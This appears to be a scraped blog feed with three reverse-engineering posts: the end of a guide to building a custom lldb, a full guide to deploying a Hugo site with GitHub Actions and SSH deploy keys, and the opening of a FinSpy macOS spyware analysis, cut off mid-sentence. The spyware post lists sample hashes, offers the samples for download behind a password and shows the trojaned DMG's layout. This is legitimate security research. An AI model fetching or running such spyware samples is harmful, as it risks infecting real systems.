library as we wanted.\nbash % ps aux | grep debugserver user 32548 0.0 0.0 4410532 3648 s008 S 5:36AM 0:00.03 /Applications/lldb-ng.app/Contents/usr/bin/debugserver --fd=7 --native-regs --setsid And debugserver is also our own. Everything is working as expected :-).\nWe can pack the lldb-ng.app and move it to another system and use our custom lldb version without much trouble (don\u0026rsquo;t forget to create the link or fix PATH).\nThe operating system considers the app bundle invalid since there is no main app. We can add the missing pieces to make it valid such as a Info.plist and a MacOS folder with some stub app. And then codesign the whole app bundle and make everything by the book.\nAnd that\u0026rsquo;s it. The whole process is a lot less complicated than I initially thought and ranted about. It required me to dig into the cmake files and understand some build internals. Now you can modify lldb source code and have your own portable version without depending on Xcode releases.\nIf there are better ways to achieve this or improve the process I am definitely interested to hear about it. Please ping me by email or tweet!\nI\u0026rsquo;ll update the git repo with the cmake and patches later on. Now I have to write the code to manage the debug registers.\nHave fun,\nfG!\nUpdate: It was quite easy to add the debug registers feature I wanted since most of the necessary code was already present.\nThe x86_debug_registers.patch is available in my patches repo. Just apply the patch and build.\nSample output:\n(lldbinit) register read -s 3 Debug Registers: dr0 = 0x0000000100011003 dyld`_dyld_start + 3 dr1 = 0x000070000a81b000 dr2 = 0x0000000000000000 dr3 = 0x0000000000000000 dr4 = 0x0000000000000000 dr5 = 0x0000000000000000 dr6 = 0x00000000ffff0ff1 dr7 = 0x0000000000000555 (lldbinit) register write dr0 0 (lldbinit) register read dr0 dr0 = 0x0000000000000000 (lldbinit) register write dr0 0x31337 (lldbinit) register read dr0 dr0 = 0x0000000000031337 Update 2: To fix the code signing in High Sierra or older we need to fix the Info.plist for debugserver.\nThe file is located at llvm-project-12.0.1.src/lldb/tools/debugserver/resources/lldb-debugserver-Info.plist\nAdd the following between the dict entry:\n\u0026lt;key\u0026gt;SecTaskAccess\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;allowed\u0026lt;/string\u0026gt; \u0026lt;string\u0026gt;debug\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; Delete the debugserver binary from lldb-build/bin/ and rebuild debugserver.\nBefore this you need to fix Python build because it targets the macOS version you built it on. Pass the -mmacosx-version-min=10.13 flag to CFLAGS when configuring Python build. Change the version if you need to compile for even older version than High Sierra.\n","permalink":"https://reverse.put.as/2021/07/16/how-to-build-custom-lldb/","summary":"\u003cp\u003eAlmost two years ago (when covid was just starting and we all happily ignored it) I wrote a \u003ca href=\"https://reverse.put.as/2019/11/19/how-to-make-lldb-a-real-debugger/\"\u003epost\u003c/a\u003e about implementing x86 hardware breakpoints in lldb. This critical debugger feature was missing from lldb. Probably because lldb main users are developers and not serious reverse engineers (lol!) dealing with malicious code and/or just reversing/cracking hostile software protections (cracking is the best and most fun RE target practice).\u003c/p\u003e\n\u003cp\u003eThe build process described in that post worked but I wasn\u0026rsquo;t very happy with it - not easily portable between macOS systems. Some time ago I tried to fix it but I gave up since I wasn\u0026rsquo;t in the mood to deal with build systems problems.\u003c/p\u003e","title":"How to build a custom and distributable lldb"},{"content":"For quite some time I have wanted to build a site where I could share links to the stuff I read online. There must be already plenty of sites to solve this but none satisfies my main requisite: to be under my full control. I rather do all the work myself than giving up control to a third-party that can lock me down for any reason (Twitter for example). It\u0026rsquo;s a price that I am willing to pay.\nOne of the main obstacles to build the site was that I needed to add/edit information from my desktop and tablet. I am definitely not a cloud fan so using it to sync between devices was out of question (people do it with Evernote, etc). For a while I thought about developing a mobile or web application to achieve this but was too lazy for that.\nLast weekend the right idea popped in my mind (I think I was reading something about the topic). I could use GitHub to store the data that I need to edit between devices, and GitHub actions to automate the build process. GitHub allows unlimited private repositories to free users, and the data to store there isn\u0026rsquo;t critical. I would always have a local copy and if GitHub bans me the impact is meaningless - they are just an intermediary and both ends are controlled by me.\nHugo is a really nice static site generator and I already use a similar site with Papers. The difference is that I manage Papers only from my desktop because extra work necessary. It has a few of automated steps (generate hashes, changelog, etc) but still requires some manual work (copy-paste paper titles and authors, which is not always possible to extract).\nMy initial idea was to have a daily post file, which I could edit in any of the devices and then push to GitHub. This could be done via the browser since GitHub allows you to edit files. I thought to use a GitHub Actions workflow to automate the creation of the daily file that I just needed to edit when necessary. First time Action\u0026rsquo;s user but it is straightforward to create a scheduled workflow that creates the daily file.\nThe next problem was how to use Hugo in a workflow to build and deploy the site. After reading some blog posts, I learnt that most people create a workflow to generate the Hugo site and deploy it to GitHub Pages.\nBut I want the site to be under my control so this clearly wasn\u0026rsquo;t the solution I wanted. Some people deploy the pages to a server or cloud services (AWS, Azure, etc). This creates a problem of storing access credentials in GitHub and more important, inbound access from third-parties to my server. GitHub just disclosed that they had a backend problem mixing up authentication sessions. Instead of a push model I want a pull model from my server.\nReading a couple more blog posts and I finally established my setup.\nI use three separate private repositories (repos), one for the Hugo source site, one for the Hugo build, and one for the theme. The most used solution with GitHub Pages is to have two branches, one to create and edit the posts, and another where to publish the pages. GitHub Pages works by writing data to a specific folder. I think this setup is a bit weird and confusing. When Hugo builds the static pages the (default) output goes to public folder. This data would have to be committed to a different branch, which would be pulled by the server. I am not a git power user and this setup looks confusing so I kept searching for a better solution.\nAnother blogpost described using two repositories, one for holding the Hugo blog, and another with the build output. In this case, the GitHub Action would generate the static pages and then copy and commit to the build repository. Better but still not \u0026ldquo;perfect\u0026rdquo;.\nThen I read how someone used git submodules feature to solve this. In this setup the build repo is configured as a submodule of the Hugo repo in the public folder. Hugo generates the static pages into the public folder, and then we just need to commit the changes in the submodule and let git do the dirty work to update the build repo. Simple and beautiful solution! The same configuration is used for the forked theme. I didn\u0026rsquo;t want to mix commit history, even if the customizations only make it useful for the specific site.\nAuthentication will be necessary since all the repos are private. Github supports personal access tokens and SSH deploy keys. Personal access tokens don\u0026rsquo;t have per repository granular control. You can configure scopes but they are applied to every repository under your user, meaning, you can\u0026rsquo;t restrict a token to a specific repository. Not the right tool for the task at hand.\nThe deploy keys are more interesting. They are configured per repository and can have read-only or read/write access to a repository. Keys also remove the need to have GitHub passwords in the mobile device (using an app instead of website). Assuming no GitHub snafus managing keys, there is isolation between the components without compromising other repositories. Further isolation could be achieved by using a new account just for this setup. In case of compromise the damage is very limited.\nThere is an issue when using multiple keys in a single repository but the solution is easy as shown later on.\nThis is the deploy keys setup and permissions:\nLet\u0026rsquo;s see how to set up all this. These initial \u0026ldquo;bootstrap\u0026rdquo; steps are executed in the desktop and GitHub website.\nThe first step is to create three private repositories, links, linksbuild, spectre-pixel. If you change the repo names don\u0026rsquo;t forget to fix it in all the bellow commands. And of course you need to change username.\nI used the following folder structure:\n~/linksblog |-- links |-- build |-- spectre-pixel |-- ssh To create it:\nbash mkdir -p ~/linksblog/build mkdir ~/linksblog/ssh Create the Hugo blog and initialize git. The hugo new site command will create the links folder.\nbash cd ~/linksblog hugo new site links git init git add -A . git commit -m \u0026#34;Initialize Hugo repo\u0026#34; git branch -M main Now add the GitHub remote repository. It assumes you can access GitHub using SSH. In the desktop you can use HTTPS access but the mobile client will be configured with a deploy key only. Easier to keep it all consistent with SSH.\nbash git remote add origin git@github.com:username/links.git Next step is to create and initialize the build folder, and sync to GitHub. Git doesn\u0026rsquo;t seem to like empty repos so we just add an empty README to make it happy. The following commands assume that we are inside the linksblog folder.\nbash cd ~/linksblog cd build git init touch README git add README git commit -m \u0026#34;Initialize build repo\u0026#34; git branch -M main git remote add origin git@github.com:username/linksbuild.git git push -u origin main For theme I selected Spectre Pixel.\nbash cd ~/linksblog git clone https://github.com/st-wong/hugo-spectre-pixel-theme.git spectre-pixel cd spectre-pixel git remote set-url origin git@github.com:username/spectre-pixel.git These commands clone the theme repository and change its origin to the private repository instead of the original one. Could have set a different remote name but it\u0026rsquo;s just cleaner this way.\nNow we have to add the submodules to the Hugo blog folder and sync everything to GitHub. By default Hugo outputs the static pages to the public folder and themes are located in the themes folder.\nbash cd ~/linksblog/links git submodule add ssh://git@github.com/username/linksbuild.git public git submodule add ssh://git@github.com/username/spectre-pixel.git themes/spectre-pixel git commit -m \u0026#34;add submodules\u0026#34; git push -u origin main The last step is to create all the necessary SSH keys. A deploys key can only be used in a single repository. The key is rejected if you try to use it in multiple repositories. Do not set a passphrase in any of these keys.\nbash cd ~/linksblog/ssh ssh-keygen -t ed25519 -f action_build -C \u0026#34;ssh://git@github.com/username/linksbuild.git\u0026#34; ssh-keygen -t ed25519 -f action_theme -C \u0026#34;ssh://git@github.com/username/spectre-pixel.git\u0026#34; ssh-keygen -t ed25519 -f webserver -C \u0026#34;ssh://git@github.com/username/linksbuild.git\u0026#34; ssh-keygen -t ed25519 -f mobile -C \u0026#34;ssh://git@github.com/username/links.git\u0026#34; The action_build and action_theme keys will be used by the links repository. The GitHub Action will be configured there and it will need access to the other private repositories. It just needs read-only access to spectre-pixel repo, and read/write to linksbuild repository to push the newly generated content.\nThe webserver key is to be used by the server to pull from the linksbuild repository (read-only), and the mobile key is used by the mobile device to edit and update blog data (read/write).\nYou might have noticed the -C option. This option sets a comment in the key and is the solution for the multiple keys problem mentioned earlier. GitHub handling of SSH connections is such that it will accept the first known key. Not sure if this is protocol limitation between SSH and Git. This limitation will create problems with the linksbuild repo where we need to configure two keys. If the keys are generated without that specific comment, the user of the second key will have access denied error when trying to access the repo.\nThe solution is to add a comment to the key with the repository URL where the key will be used in. The problem is described here and here.\nWhen using Github deploy keys, GitHub servers will accept the first known key. But since deploy keys are scoped to a single repository, this might not be the key needed to access a particular repository. Thus, you will get the error message fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. if the wrong key/repository combination is tried.\nTo support picking the right key in this use case, this action scans key comments and will set up extra Git and SSH configuration to make things work.\n1 When creating the deploy key for a repository like git@github.com:owner/repo.git or https://github.com/owner/repo, put that URL into the key comment.\nNow we need to configure the keys for each repository. The links repository is where the GitHub Action workflow will be executed, and needs access to the other private repositories. This means we need to store the private keys we just generated. GitHub encrypted secrets feature is the right tool for this job. We can safely store (one hopes\u0026hellip;) the private keys there and they will be made accessible to the workflow when executed. This way we don\u0026rsquo;t need to store private keys in the git repository itself (storing passwords and keys in public git repositories, a frequent GitHub information security tragedy).\nSecrets are configured per repository, so go to links repository settings, then Secrets menu, and click New repository secret.\nSet the name to SSH_PRIVATE_KEY and paste the content of action_build file. The content should be similar to this:\n-----BEGIN OPENSSH PRIVATE KEY----- (...) -----END OPENSSH PRIVATE KEY----- Do the same for the action_theme key, naming it SSH_PRIVATE_KEY2. The private keys will be accessible in the workflow script via ${{ secrets.SSH_PRIVATE_KEY }} and ${{ secrets.SSH_PRIVATE_KEY2 }} variables.\nNow we need to add each public key in the correct repository. The action_build.pub contents should be added in linksbuild repository with read/write access. And the action_theme.pub contents to the spectre-pixel repository with read-only access.\nTo achieve this, go to the repository settings, Deploy keys, and click Add deploy key. Set a title such as github action and paste the contents of the corresponding public key for the repository. Set write access when configuring the linksbuild public key.\nIn the linksbuild repository you should also add the webserver public key, with read-only access. Finally, in the links repository the ipad.pub key needs to be set with read/write access, since the mobile device should have commit access.\nIn the end the configuration should match this:\nTwo SSH private keys configured as secrets in links. Mobile device public key configured as read/write deploy key in links. Action build public key configured as read/write in linksbuild. Webserver public key configured as read-only in linksbuild. Action theme public key configured as read-only in spectre-pixel. The setup is ready and now we can create the workflow in the links repo.\nThe workflow can be created and edited via the website or in the desktop repository and then pushed to GitHub. The latter is done by creating the .github/workflows in the root of links repo. In the GitHub website, just click in Actions and then New workflow. We don\u0026rsquo;t need a template so choose set up a workflow yourself option in the Choose a workflow template screen.\nThis is the workflow I use:\nname: Generate Hugo defaults: run: shell: bash # Controls when the action will run. on: # Allows you to run this workflow manually from the Actions tab workflow_dispatch: # branch to deploy push: branches: - main # A workflow run is made up of one or more jobs that can run sequentially or in parallel jobs: # This workflow contains a single job called \u0026#34;build\u0026#34; build: # The type of runner that the job will run on runs-on: ubuntu-latest # Steps represent a sequence of tasks that will be executed as part of the job steps: - name: Install Hugo env: HUGO_VERSION: 0.81.0 run: | mkdir ~/hugo cd ~/hugo curl -L \u0026#34;https://github.com/gohugoio/hugo/releases/download/v${HUGO_VERSION}/hugo_${HUGO_VERSION}_Linux-64bit.tar.gz\u0026#34; --output hugo.tar.gz tar -xvzf hugo.tar.gz sudo mv hugo /usr/local/bin # add the private key to the ssh-agent # the private repo is referenced via ssh so the key will be used # from the agent when doing the checkout - uses: webfactory/ssh-agent@v0.5.0 with: ssh-private-key: | ${{ secrets.SSH_PRIVATE_KEY }} ${{ secrets.SSH_PRIVATE_KEY2 }} # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it - name: Checkout master branch uses: actions/checkout@v2 with: submodules: recursive - name: Fix detached head on public submodule run: | cd public/ git checkout main - name: Fix detached head on themes submodule run: | cd themes/spectre-pixel git checkout main - uses: actions/setup-python@v2 - run: pip install pyyaml - run: python scripts/gen.py - name: Hugo Build run: hugo -t spectre-pixel - name: Commit changes run: | cd public git config --local user.email \u0026#34;actions@github.com\u0026#34; git config --local user.name \u0026#34;GitHub Action\u0026#34; git add -A . if git diff-index --quiet HEAD --; then echo \u0026#34;No changes...\u0026#34; else git commit -m \u0026#34;[CI] build hugo static site\u0026#34; git push -u origin main fi Let me try to explain each part.\nThe first part, on, defines when the action will be run. Different triggers are possible, such as manual, scheduled, on commits, etc. Check the events documentation.\n# Controls when the action will run. on: # Allows you to run this workflow manually from the Actions tab workflow_dispatch: # branch to deploy push: branches: - main To test the workflow it is useful to run it manually, so that\u0026rsquo;s what workflow_dispatch: does. The push option configures the workflow to execute on each push to the repository. In this case on every push to the main branch.\nGitHub free account allows 2000 minutes per month for Actions work. This is a lot of time unless the action takes too long or you have frequent commits. Since the trigger happens only on main branch, the solution to avoid hitting limits is to make changes in a different branch and only merge to main when you want to trigger the workflow.\nThe next part is the chain of jobs that we want executed. Since each workflow is executed in a new Docker instance, we need to setup our environment on every execution. Maybe there is a way to use a pre-configured Docker image with GitHub instead of wasting computer and network resources on every execution. I didn\u0026rsquo;t bother to research and RTFM and most people don\u0026rsquo;t seem to also care. Anyway, my workflow takes an average of 30 seconds to complete so not worth the effort. I\u0026rsquo;m not paying for the service and those resources so why waste my time now.\nMultiple (and dependent) jobs can be defined but in this case we just need a single job that takes care of everything (errors are fatal so no need for dependencies here). Let me describe each step of this job.\n- name: Install Hugo env: HUGO_VERSION: 0.81.0 run: | mkdir ~/hugo cd ~/hugo curl -L \u0026#34;https://github.com/gohugoio/hugo/releases/download/v${HUGO_VERSION}/hugo_${HUGO_VERSION}_Linux-64bit.tar.gz\u0026#34; --output hugo.tar.gz tar -xvzf hugo.tar.gz sudo mv hugo /usr/local/bin As the name says, this job will take care of installing Hugo in the Docker instance. It will download the specified version from Hugo releases page, unpack it, and move to the executable path. Sometimes your theme and customizations might not be compatible with newer Hugo versions so this allows to specificy the required version. Instead of downloading the release we could probably add the file to the repo and use it as the source (or whatever fancy cache mechanism or something else available).\nThe next step adds the SSH keys to the ssh-agent since the build will need to access the other private repositories.\n# add the private key to the ssh-agent # the private repo is referenced via ssh so the key will be used # from the agent when doing the checkout - uses: webfactory/ssh-agent@v0.5.0 with: ssh-private-key: | ${{ secrets.SSH_PRIVATE_KEY }} ${{ secrets.SSH_PRIVATE_KEY2 }} This uses the webfactory/ssh-agent third-party action. I didn\u0026rsquo;t really explored what are the implications of using third-party actions. My spidey sense tells me this is weird and not something I really like, but it\u0026rsquo;s not that important data so I didn\u0026rsquo;t bothered to understand what\u0026rsquo;s the threat and risk model here. It\u0026rsquo;s open source so for sure there is someone checking if everything is fine (sarcasm in case you missed it\u0026hellip;). While revising the initial draft I found documentation about third-party actions risks:\nThis means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and can use the GITHUB_TOKEN to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on GitHub.\nSo instead of using the version tag we should use the SHA value of the specific commit we want to use. In above case, we need to replace @v0.5.0 with @commit_SHA256. Trust is cheap these days so most people will not bother to audit the code and pin the commit. I didn\u0026rsquo;t either since it\u0026rsquo;s already enough devops and fancy web tech for today. Supply chain attacks are trendy!\nWhat this action allows is to add the private keys stored in GitHub secrets to the ssh-agent otherwise the checkout from the other two private repositories would fail. The action authors describe the manual process so we could have used that instead and avoid trusting third-party code. Devops style is great, clone the world, trust and don\u0026rsquo;t bother!\nNext step is to get the links repository in the Docker instance. Without this step the repository contents would not be available inside the Docker instance. This is pretty much a must have step if you want to do anything with repository data. Since we have configured submodules, the recursive option is set. This action is from GitHub and their code can be found here.\n# Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it - name: Checkout master branch uses: actions/checkout@v2 with: submodules: recursive The next two steps fix the git status for the submodules we just checked out, otherwise they would not be in the correct commit.\n- name: Fix detached head on public submodule run: | cd public/ git checkout main - name: Fix detached head on themes submodule run: | cd themes/spectre-pixel git checkout main There is one final step to finish environment setup. I run a Python script that needs the PyYaml module. These are two unnamed steps to setup Python and install the module.\n- uses: actions/setup-python@v2 - run: pip install pyyaml We can finally generate the updated static pages. The first step is to create all the posts. Instead of manually creating each post file in content/post folder, I edit a yaml data file for each month of the year. This is faster to edit from a mobile device. Instead of storing a post file per day, all the posts are dynamically generated in this step. I am not going to have insane amount of entries so this should have no scalability problems, and if somehow the Python script becomes too slow I can convert it to Go.\n- run: python scripts/gen.py - name: Hugo Build run: hugo -t spectre-pixel The gen.py script is posted below (some really dirty Python). I use short field names so I don\u0026rsquo;t need to type a lot in the mobile device for each new entry. There is also an optional comment field for links I want to add a short comment.\n#!python3 # # script to generate posts # yaml data file format: #2021-03-02: # - n: \u0026#34;teste\u0026#34; # u: \u0026#34;https://put.as\u0026#34; # c: \u0026#34;comment\u0026#34; import io import os import yaml try: os.makedirs(\u0026#39;content/post\u0026#39;) except OSError as e: if e.errno != errno.EEXIST: raise with os.scandir(\u0026#34;data\u0026#34;) as it: for entry in it: if entry.name.endswith(\u0026#34;.yaml\u0026#34;) and entry.is_file(): with open(entry.path, \u0026#39;r\u0026#39;) as file: data = yaml.safe_load(file) for i in data: with open(\u0026#34;content/post/{0}.md\u0026#34;.format(i), \u0026#39;w\u0026#39;) as f: f.write(\u0026#34;+++\\n\u0026#34;) f.write(\u0026#34;title = \\\u0026#34;{}\\\u0026#34;\\n\u0026#34;.format(i)) f.write(\u0026#34;author = \\\u0026#34;fG!\\\u0026#34;\\n\u0026#34;) f.write(\u0026#34;date = \\\u0026#34;{}\\\u0026#34;\\n\u0026#34;.format(i)) f.write(\u0026#34;+++\\n\u0026#34;) for y in data[i]: try: # check if a comment exists and use it if \u0026#34;c\u0026#34; in y: f.write(\u0026#34;- [{0}]({1}) - {2}\\n\u0026#34;.format(y[\u0026#39;n\u0026#39;], y[\u0026#39;u\u0026#39;], y[\u0026#39;c\u0026#39;])) else: f.write(\u0026#34;- [{0}]({1})\\n\u0026#34;.format(y[\u0026#39;n\u0026#39;], y[\u0026#39;u\u0026#39;])) except: pass After gen.py finishes the static pages are finally generated using the configured theme (this can be set in config.toml but I am used to specify it in the command line). If no errors occured the public folder will have the newly generated content. Remember that this folder is a submodule of the linksbuild repository. So the last step is to commit the updated files and let git deal with changes. There should be no conflits, etc, because only the workflow is commiting to the linksbuild repository.\n- name: Commit changes run: | cd public git config --local user.email \u0026#34;actions@github.com\u0026#34; git config --local user.name \u0026#34;GitHub Action\u0026#34; git add -A . if git diff-index --quiet HEAD --; then echo \u0026#34;No changes...\u0026#34; else git commit -m \u0026#34;[CI] build hugo static site\u0026#34; git push -u origin main fi The git email and username need to be configured before commiting to the buil repo. Not sure there is a simple way to avoid issuing the command all the time. Next we let git deal with the changes by adding all the files in the public folder, and if changes exist commit and push to linksbuild repo. The commit message is fixed but it could be modified to something more useful such as build number, source hash of links repository, etc. The linksbuild history is only relevant to the machines so I don\u0026rsquo;t care about that information.\nIf the workflow executed without errors, an updated site version is available in linksbuild HEAD.\nNow we need to get the data to the web server. I created a crontab job in the server that does a git pull from linksbuild. The webserver private key is set in the web user home and added this entry to its SSH config:\nHost github.com Hostname github.com IdentityFile ~/.ssh/webserver In the webserver folder configured for the site we just need to manually execute the initial git clone.\nbash git clone ssh://git@github.com/username/linksbuild.git Don\u0026rsquo;t forget to configure your web server to deny access to the .git folder. An alternative is to clone to an outside folder and then sync the files with the web server folder. Because everything is automated and we don\u0026rsquo;t manually edit the copy in the server, the crontab process should have no git conflicts at all and git will do all the dirty syncing work for us. My cron job is set to execute every 30 minutes. I might have a few updates during the day but a 30 minutes turnaround is good enough, and maybe too frequent. My server costs are fixed, the GitHub end is not my cost, so why bother (shouldn\u0026rsquo;t trigger any GitHub limits anyway). Free services FTW!\nThe last piece of this puzzle is the mobile device. For iOS Working Copy appears to be the best app for the job. It supports SSH keys, looks nice and works well. The ability to push to remote costs you $19.99 (or whatever price in your own currency). This unlocks the current pro features forever and new ones developed over the next 12 months. After that you need to pay again to unlock new pro features. Seems like a reasonable licensing model. Initially I thought it was a subscription and that would be a deal breaker to me. The features I need are already there so I am ok.\nJust transfer the mobile private key generated via Airdrop or some other way, import it, add the remote links GitHub repository, and you are set. Edit a file, commit, push to remote, and watch the machines doing all the dirty work for you.\nIt\u0026rsquo;s not very complicated setup and works nicely. I just copy paste links into the data file, commit, and let the machines do the work for me.\nHave fun,\nfG!\nReferences:\nhttps://blog.euc-rt.me/posts/github-actions-publish-private-hugo-repo-to-public-pages-site/ https://www.webfactory.de/blog/use-ssh-key-for-private-repositories-in-github-actions https://www.andrewconnell.com/blog/automated-hugo-releases-with-github-actions/ https://medium.com/zendesk-engineering/a-github-actions-workflow-to-generate-publish-your-hugo-website-f36375e56cf7 https://matt-harrison.com/posts/github-actions-hugo/ https://daredevel.com/post/2020-02-11-continous-deploying-of-hugo-based-website-with-github-actions/ https://cameronbroe.com/posts/super-powered-blogging-hugo-github-pages-actions/ ","permalink":"https://reverse.put.as/2021/03/11/hugo-githubactions/","summary":"\u003cp\u003eFor quite some time I have wanted to build a site where I could share links to the stuff I read online. There must be already plenty of sites to solve this but none satisfies my main requisite: to be under my full control. I rather do all the work myself than giving up control to a third-party that can lock me down for any reason (Twitter for example). It\u0026rsquo;s a price that I am willing to pay.\u003c/p\u003e\n\u003cp\u003eOne of the main obstacles to build the site was that I needed to add/edit information from my desktop and tablet. I am definitely not a cloud fan so using it to sync between devices was out of question (people do it with Evernote, etc). For a while I thought about developing a mobile or web application to achieve this but was too lazy for that.\u003c/p\u003e\n\u003cp\u003eLast weekend the right idea popped in my mind (I think I was reading something about the topic). I could use GitHub to store the data that I need to edit between devices, and GitHub actions to automate the build process. GitHub allows unlimited private repositories to free users, and the data to store there isn\u0026rsquo;t critical. I would always have a local copy and if GitHub bans me the impact is meaningless - they are just an intermediary and both ends are controlled by me.\u003c/p\u003e","title":"How to use GitHub Actions and private repositories to deploy a Hugo static site"},{"content":"Amnesty International finally dropped the bomb and released a report about FinSpy spyware made by FinFisher Gmbh.\nThe most interesting thing was the revelation of Mac and Linux versions, something that was missing from previous reports on this commercial malware (Kaspersky, Wikileaks).\nTheir report summarizes the most important features but isn\u0026rsquo;t technically deep. This got me interested in verifying if FinSpy for Mac was any good malicious software or just the same kind of bullshit commercial malware like HackingTeam (they finally went kaput, oh so many crocodile tears!).\nA couple of years ago I wrote a series about HackingTeam Crisis malware, which they loved according to Phineas Fisher hacking and leaks so, it\u0026rsquo;s time to do the same to FinFisher and FinSpy. A big thanks to Amnesty Internation for pulling the trigger on this one.\nThe report contains four macOS related hashes:\nHash Content 80d6e71c54fb3d4a904637e4d56e108a8255036cbb4760493b142889e47b951f Dropper 37e749b79f4a24ead2868dffdb22c5034053615fed1166fdea05b4ca43b65c83 Encrypted ZIP payload b5304d70dfe832c5a830762f8abc5bc9c4c6431f8ecfe80a6ae37b9d4cb430fd Persistence Plist 4f3003dd2ed8dcb68133f95c14e28b168bd0f52e5ae9842f528d3f7866495cea Trojaned DMG You can download them here. Password is \u0026lsquo;clowns!\u0026rsquo;.\nThere are two different versions in these files. The first three files belong to a apparently newer version extracted from Jabuka.app application, and the last one apparently an older version packaged in a trojaned application (caglayan-macos.dmg) used to infect targets. This post will be focused on the latter because it\u0026rsquo;s a complete package.\nThe following is the list of files available in the DMG.\n/Volumes/caglayan-macos/ ├── .fseventsd │ └── fseventsd-uuid └── Install\\ Çağlayan.app └── Contents ├── Info.plist ├── MacOS │ ├── .log │ │ └── ARA0848.app │ │ └── Contents │ │ ├── Info.plist │ │ ├── MacOS │ │ │ └── installer │ │ ├── PkgInfo │ │ └── Resources │ │ ├── English.lproj │ │ │ ├── InfoPlist.strings │ │ │ └── MainMenu.nib │ │ ├── data │ │ └── res │ ├── Install\\ Çağlayan │ └── installer ├── PkgInfo ├── Resources │ ├── Config.plist │ ├── Çağlayan │ │ └── Contents │ │ ├── Info.plist │ │ ├── MacOS │ │ │ └── Çağlayan │ │ ├── PkgInfo │ │ ├── Resources │ │ │ ├── DesktopReader.swf │ │ │ ├── Icon.icns │ │ │ ├── META-INF │ │ │ │ ├── AIR │ │ │ │ │ ├── application.xml │ │ │ │ │ └── hash │ │ │ │ └── signatures.xml │ │ │ ├── assets │ │ │ │ ├── LibraryLogo.png │ │ │ │ ├── accent-map.json │ │ │ │ ├── icons │ │ │ │ │ ├── Icon-128.png │ │ │ │ │ ├── Icon-16.png │ │ │ │ │ ├── Icon-32.png │ │ │ │ │ ├── Icon-48.png │ │ │ │ │ └── Icon-desktop.png │ │ │ │ └── info.xml │ │ │ ├── mimetype │ │ │ └── native-utils │ │ │ └── sqlite3 │ │ └── _CodeSignature │ │ └── CodeResources │ ├── ErrorDialog.nib │ ├── MainMenu.nib │ └── NativeInstaller.icns └── _CodeSignature └── CodeResources 22 directories, 36 files Anything hidden inside MacOS folder is never a good sign. In this case we have the hidden .log folder that contains another application inside.\nWe can have a look at Info.plist to find out which binary is going to be executed when a user opens this application. The field we are interested in is CFBundleExecutable. It points to Install Çağlayan. Assuming that the plist wasn\u0026rsquo;t tampered with, the field BuildMachineOSBuild tells us that the original application was built in Mountain Lion latest release. This version was released in 2013.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34; standalone=\u0026#34;no\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE plist PUBLIC \u0026#34;-//Apple//DTD PLIST 1.0//EN\u0026#34; \u0026#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd\u0026#34;\u0026gt; \u0026lt;plist version=\u0026#34;1.0\u0026#34;\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;BuildMachineOSBuild\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;12F45\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;CFBundleAllowMixedLocalizations\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;CFBundleDevelopmentRegion\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;English\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;CFBundleExecutable\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;Install Çağlayan\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;CFBundleIconFile\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;NativeInstaller.icns\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;CFBundleIdentifier\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;com.coverpage.bluedome.caglayan.desktop.installer\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;CFBundleInfoDictionaryVersion\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;6.0\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;CFBundlePackageType\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;APPL\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;CFBundleShortVersionString\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;2.0\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;DTCompiler\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;com.apple.compilers.llvm.clang.1_0\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;DTPlatformBuild\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;4H1503\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;DTPlatformVersion\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;GM\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;DTSDKBuild\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;10K549\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;DTSDKName\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;macosx10.6\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;DTXcode\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;0463\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;DTXcodeBuild\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;4H1503\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;LSMinimumSystemVersion\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;10.6\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;NSHumanReadableCopyright\u0026lt;/key\u0026gt; \u0026lt;string/\u0026gt; \u0026lt;key\u0026gt;NSMainNibFile\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;MainMenu\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;NSPrincipalClass\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;NSApplication\u0026lt;/string\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;/plist\u0026gt; The next step is to see what Install Çağlayan contains.\nbash $ file Install\\ Çağlayan Install Çağlayan: Bourne-Again shell script text executable, UTF-8 Unicode text Normally we should expect a Mach-O executable instead of a shell script, so something fishy 